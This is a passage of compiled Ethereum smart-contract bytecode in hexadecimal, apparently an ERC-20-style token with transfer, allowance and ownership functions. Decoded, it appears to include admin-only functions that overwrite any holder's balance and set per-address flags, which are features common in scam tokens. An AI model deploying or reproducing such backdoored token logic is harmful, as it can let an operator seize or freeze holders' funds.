260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d6a57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e0e57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eb057600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b602052816000526040600020602052806000526040600020600091509150505481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd357600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108a57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004805461112b90611a86565b80601f016020809104026020016040519081016040528092919081815260200182805461115790611a86565b80156111a45780601f10611179576101008083540402835291602001916111a4565b820191906000526020600020905b81548152906001019060200180831161118757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111e657600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561123257600080fd5b61128482600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166290919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131982600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168990919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113b991906118af565b60405180910390a36001905092915050565b600081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461154c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361158557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008282111561167557611674611ab7565b5b81836116819190611b15565b905092915050565b60008082846116989190611b49565b9050838110156116ab576116aa611ab7565b5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116ef5780820151818401526020810190506116d4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611717826116b5565b61172181856116c0565b93506117318185602086016116d1565b61173a816116fb565b840191505092915050565b6000602082019050818103600083015261175f818461170c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117978261176c565b9050919050565b6117a78161178c565b81146117b257600080fd5b50565b6000813590506117c48161179e565b92915050565b6000819050919050565b6117dd816117ca565b81146117e857600080fd5b50565b6000813590506117fa816117d4565b92915050565b6000806040838503121561181757611816611767565b5b6000611825858286016117b5565b9250506020611836858286016117eb565b9150509250929050565b60008115159050919050565b61185581611840565b82525050565b6000602082019050611870600083018461184c565b92915050565b61187f8161178c565b82525050565b600060208201905061189a6000830184611876565b92915050565b6118a9816117ca565b82525050565b60006020820190506118c460008301846118a0565b92915050565b6000806000606084860312156118e3576118e2611767565b5b60006118f1868287016117b5565b9350506020611902868287016117b5565b9250506040611913868287016117eb565b9150509250925092565b60006020828403121561193357611932611767565b5b6000611941848285016117b5565b91505092915050565b600060ff82169050919050565b6119608161194a565b82525050565b600060208201905061197b6000830184611957565b92915050565b61198a81611840565b811461199557600080fd5b50565b6000813590506119a781611981565b92915050565b600080604083850312156119c4576119c3611767565b5b60006119d2858286016117b5565b92505060206119e385828601611998565b9150509250929050565b60008060408385031215611a0457611a03611767565b5b6000611a12858286016117b5565b9250506020611a23858286016117b5565b9150509250929050565b611a368161176c565b82525050565b6000602082019050611a516000830184611a2d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a9e57607f821691505b602082108103611ab157611ab0611a57565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b20826117ca565b9150611b2b836117ca565b9250828203905081811115611b4357611b42611ae6565b5b92915050565b6000611b54826117ca565b9150611b5f836117ca565b9250828201905080821115611b7757611b76611ae6565b5b9291505056fea2646970667358221220a8bbebcbbfde66629aaa962a51dd757aef6d80de64d23e9eb0ced7ff6501b63764736f6c63430008130033